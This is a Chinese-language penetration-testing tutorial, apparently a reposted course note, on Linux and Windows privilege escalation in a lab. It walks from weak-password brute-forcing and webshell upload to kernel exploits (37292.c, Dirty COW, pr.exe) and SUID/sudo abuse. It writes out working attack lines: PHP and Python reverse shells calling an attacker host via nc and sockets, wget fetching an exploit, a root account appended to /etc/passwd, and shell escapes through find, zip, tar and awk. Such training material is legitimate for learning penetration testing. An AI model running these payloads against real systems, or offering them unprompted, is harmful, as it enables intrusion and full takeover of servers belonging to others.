1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > DAY28:Linux Windows 系统提权

DAY28:Linux Windows 系统提权

时间:2018-08-10 07:48:52

相关推荐

DAY28:Linux Windows 系统提权

DAY28:Linux、Windows 系统提权

1、Linux 系统提权

1.1、Linux 系统版本

linux发行版本:• centos• redhat• ubuntu• kali

1.2、内核漏洞提权思路:

(1)查看系统发行版本

cat /etc/issuecat /etc/*-release

(2)查看内核版本

uname -a

(3)通过得到的系统内核版本,使用 kali 自带的searchsploit工具来搜索exploitdb中的漏洞利用代码

(4)使用linux-exploit-suggester工具来根据操作系统版本号自动查找相应提权脚本的工具。 如果不带任何参数运行该脚本的话,将执行uname -r返回的操作系统发行版本,或者手工输入 -k 参数查找指定版本号。

2、windows 系统提权

操作场景:Windows Server R2实验工具:菜刀管理工具、asp大马实验文件:pr.exe(MS09-012)

2.1、提权概述

提高应用程序/服务在服务器中的权限

Windows:User >> SystemLinux:User >> Root

2.2、提权的方式

系统漏洞提权( Windows 、 Linux )

​ 系统漏洞提权一般就是利用系统自身缺陷,用来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。

​ 提权的方式:

​ Windows的提权exp一般格式为MS08067.exe;

​ Linux的提权exp一般格式为23456.c。

数据库提权

第三方软件/服务提权

2.3、Windows 系统提权

(1)漏洞编号命名格式

​ Windows系统漏洞编号命名格式为:MS08067

​ 其中:MS是Micosoft的缩写,固定格式;08 表示年份,即 年发布的漏洞;067 表示顺序,即当年度发布的第67个漏洞。

(2)使用exp提权

​ 在日常渗透测试过程中,我们常常会先是拿到webshell再进行提权。 所以提权脚本也常常会被在webshell中运行使用。

(3)如何知道使用哪个exp来提权呢?

​ 可以使用systeminfo命令或者查看补丁目录,查看补丁记录,来判断有哪个补丁没打,然后使用相对应的exp进行提权。

(4)使用Windows提权辅助工具

Windows-Exploit-Suggester

下载地址:

/GDSSecurity/Windows-Exploit-Suggester

(1)更新漏洞库,执行以下命令

py -2 windows-exploit-suggester.py –update

(2)查看系统漏洞

py -2 windows-exploit-suggester.py --database -08-11-mssb.xls --systeminfo 1.txt

(3)查看系统可能存在的漏洞

py -2 windows-exploit-suggester.py --database -08-23-mssb.xls --ostext 'windows 7 SP1 32-bit'

2.4、总体思路

拿到网站 webshell,小马传大马,大马使用 pr 提权,远程连接目标系统, 提权至 system 权限

3、Windows 提权实战

获得目标 ip:192.168.182.56

3.1、查找开放端口

使用 nmap 或者 scanport 查找,利用超级弱口令工具爆破弱密码。

使用 nmap 扫描出其端口

经过这几个端口的弱密码爆破,最终确认了21端口存在弱口令登陆,可以发现可以上传,那么既然这样,直接上大马

3.2、上传大马

上传成功,那么让我们访问大马

进入大马,我们点击执行 cmd 指令,写入我们需要的命令

点击执行发现拒绝访问,因为我们是没有权限的。我们可以上传一个cmd.exe来作为一个可访问可执行文件

这时我们执行命令

找到系统信息,使用的是一个工具Windows-Exploit-Suggester,这个工具可以通过系统信息及其打过的补丁,快速的检索现有漏洞,从而附上exp、poc地址进行利用,十分方便。

Windows-Exploit-Suggester:Windows 提权EXP辅助工具,它是用 python开发而成,运行环境是python3.3 及以上版本,且必须安装xlrd库(/pypi/xlrd),其主要功能是通过比 对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。

官方下载地址:

/GDSSecurity/Windows-Exploit-Suggester

3.3、提权

搜索systeminfo信息,将上面的信息全部复制下来,放入 1.txt

先对漏洞库进行更新,可在本地文件夹下生成生成日期+mssb.xls文件,再执行检索

py -2 windows-exploit-suggester.py -update

检索存在漏洞

py -2 windows-exploit-suggester.py --database -08-11-mssb.xls --systeminfo 1.txt

那么可以根据上面的网址,找寻相应exp、poc,下载文件

上传 pr.exe

下面执行命令,记得勾选wscript.shell模块

成功

4、Linux 内核溢出提权实战

操作场景:Ubuntu:12.04实验工具:使用searchsploit工具搜索内核漏洞

这里使用靶场环境来进行 Linux 提权,首先知道了目标 ip:192.168.182.33

注意:这里需要与目标机在同一网段意思就是能 ping 到,所以我们需要一个 vps 能够与目标机建立连接。

4.1、查询内核版本号

通过 mysql 弱密码爆破进入,写入一句话木马,连接使用函数查询版本号

uname -an

查看Ubuntu内核版本,是3.13.0

写入大马,或者 re,re 内容为:

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?>

4.2、查询漏洞

使用 kali 的 searchsploit 工具查找漏洞

searchsploit 版本号

查到有两个漏洞文件适用于 3.13.0

37292.c#c语言编写的文件37292.txt

4.3、监听、反弹shell

在 vps 使用 nc 监听,目标机访问 re 或者大马:

nc -lvnp 7771

在网页中访问 dama.php

点击 back connect

写入vps地址,监听端口号,使用 c,点击 start

已经弹进去了,但是发现我们此时是空指针,所以输入这句话

python -c 'import pty;pty.spawn("/bin/bash")'

可以直接看到成为了 www-data 用户

或者直接访问 re.php,内容如下:

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 攻击机ip/vps ip 监听端口号 >/tmp/f');?>

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.182.36 7771 >/tmp/f');?>

这里的意思就是进入其中,利用反弹shell直接弹到 www-data 用户,主要是能执行一些系统函数,从而使 nc 能够成功监听进入 shell 当中,nc 监听文件的配置监听端口号

vps 监听端口,网页访问 re.php,成功

既然之前将漏洞文件发现了

4.4、搜索漏洞文件、上传文件

那么我们需要将这个文件下载或者上传到一个有执行权限的目录,或者可以看看这个文件在系统中有没有,当然蚁剑也能上传。这里就直接运用啦

find / -name 37292.c

或者自己上传一个 37292.c 文件,拷贝提权EXP脚本到目标主机

wget http://192.168.182.33/37292.c

因为已经有了,所以我们 save 名字是重命名的

4.5、提权

然后执行 exp ,编译提权脚本,生成可执行文件,进行提权

gcc 37292.c -o 名字

gcc 37292.c -o qweqwe./qweqwe whoami #确认权限

既然是空指针,再来 python -c 一下

python -c 'import pty;pty.spawn("/bin/bash")'

可以看到已经是 root 权限了

5、Linux 系统脏牛提权

操作场景: ·Ubuntu:14.04 漏洞编号: ·CVE--5195 实验文件: ·dirty.c 漏洞影响范围: ·Linux Kernel >= 2.6.22 的所有 Linux 系统

5.1、脏牛提权(Dirty COW)

漏洞原理:

Linux内核的内存子系统在处理( Copy-on-Write )时存在条件竞争漏洞,造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。一个低权限的本地用户能够利用 此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

5.2、获取普通权限

首先拿到一个普通用户权限,然后拷贝dirty.c到目标系统

5.3、使用gcc编译执行:

gcc -pthread dirty.c -o dirty -lcrypt

5.4、提权

使用生成的账户进行登录,成功提权至root权限

6、Liunx 系统 SUID 提权实战

6.1、SUID提权介绍

​ SUID有个 s 标志位,即允许其他非 root 用户用root权限来执行该程序或文件,因此在提权的时候,我们可以查找系统中拥有suid+s标志位的文件来进行修改或者利用其程序来进行提权来达到root 权限。

- 代表文件d 代表目录l 代表链接c 代表字符型设备b 代表块设备n 代表网络设备r 代表可读的w 代表可写的x 代表可执行的

数字4、2和1表示读、写、执行权限。即r=4,w=2,x=1755表示rwxr-xr-x775表示rwxrwxr-x600表示-rw-------644表示-rw-r--r--666表示-rw-rw-rwchown root /tmp/a.txt 把tmp下的a.txt的所有者设置为rootchown root:root /tmp/a.txt 把tmp下的a.txt的用户名和用户组改成root和rootchown -R root:root /tmp/a 把/tmp/a下的所有文件的属组改成root和root -R 表示处理指定目录以及其子目录下的所有文件s权限,设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份。t权限,针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件。i权限,不可修改的权限。a权限,只追加的权限。当执行的文件被赋予了s权限,就被称为Set UID,简称为SUID的特殊权限。八进制数为4000

6.2、查找SUID+s的文件

​ 寻找有 suid+s 权限的可执行文件,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限-u=s表示查找root用户拥有的文件-type表示我们正在寻找的文件类型f 表示常规文件,而不是目录或特殊文件2表示该进程的第二个文件描述符,即stderr(标准错误)>表示重定向/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

6.3、常用的可用于提权的程序

Nmap、Vim、find、Bash、More、Less、Nano、cp、awk

例如:

(1)find命令

-exec参数可以用来执行指定的系统命令,将会以root来执行find命令

find test -exec whoami \;

/usr/bin/find b.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

(2) vim命令

vim可以用:!后面加命令来执行shell指令,也可以直接调用 shell,如果以 SUID 运行的话,它会继承root用户的权限, 因此可以读取系统上的所有文件

(3) nmap命令

较旧版本的Nmap(2.02至5.21)带有交互模式, 从而允许用户执行shell命令。

nmap> !shsh-3.2# whoamiroot

(4) bash命令

以下命令将以 root 身份打开一个 bash shell 。

bash -p

(5) Less/more命令

Less 也可以执行提权后的 shell 。同样的方法 也适用于其他许多命令。

less /etc/passwd!/bin/sh

(6) awk命令

sudo awk 'BEGIN {system("/bin/bash")}‘morpheus 'BEGIN {system("/bin/sh")}'

7、Linux 系统其他提权

7.1、sudo提权

​ 原理:普通用户在使用sudo执行命令的过程中,会以root方式执行命令。在很多场景里,管理员为了运维管理方便,sudoer配置文件 错误导致提权

7.1.1、利用

(1)设置sudo免密码vi /etc/sudoers在最后一行添加:bypass ALL=(ALL:ALL) NOPASSWD:ALL

(2)查看sudo的权限,提权成功

(3)通过sudo -l查看了当前可以使用 root 提权的命令信息,可以看到 zip 程序可以以 root 权限执行命令

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id

7.1.2、zip提权

touch exploitsudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

sudo权限提升漏洞 CVE--3156sudo提权 CVE--14187

7.2、计划任务提取

​ 原理:如果可以找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权。本质上,就是文件权限配置不当

(1)查看计划任务,找到有修改权限的计划任务脚本

crontab -lls -l /etc/cron*more /etc/crontab

(2)信息搜集

crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

7.3、Linux明文root密码提权

​ Linux系统的密码与/etc/passwd/etc/shadow这两个配置文件息息相关。passwd 文件中储存了用户,shadow 文件中是密码的 hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅 root 可读写的

7.4、利用 root 无密码执行

​ 原理:简单来说,就是一个脚本,比如 py , sh 等或者是一个命令。这个文件可以以 root 身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

(1) 写入一个root身份权限的用户进入/etc/passwd 文件中

可以使用sudo –l命令查看当前用户可以使用的所有sudo命令

然后使用teehee命令向另一文件中追加内容,可以看到提权成功

命令如下:

$ echo "john::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

(2)执行一个有设定不需要密码就可以执行sudo操作的命令

sudo perl -e "exec '/bin/sh' "bash -i

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。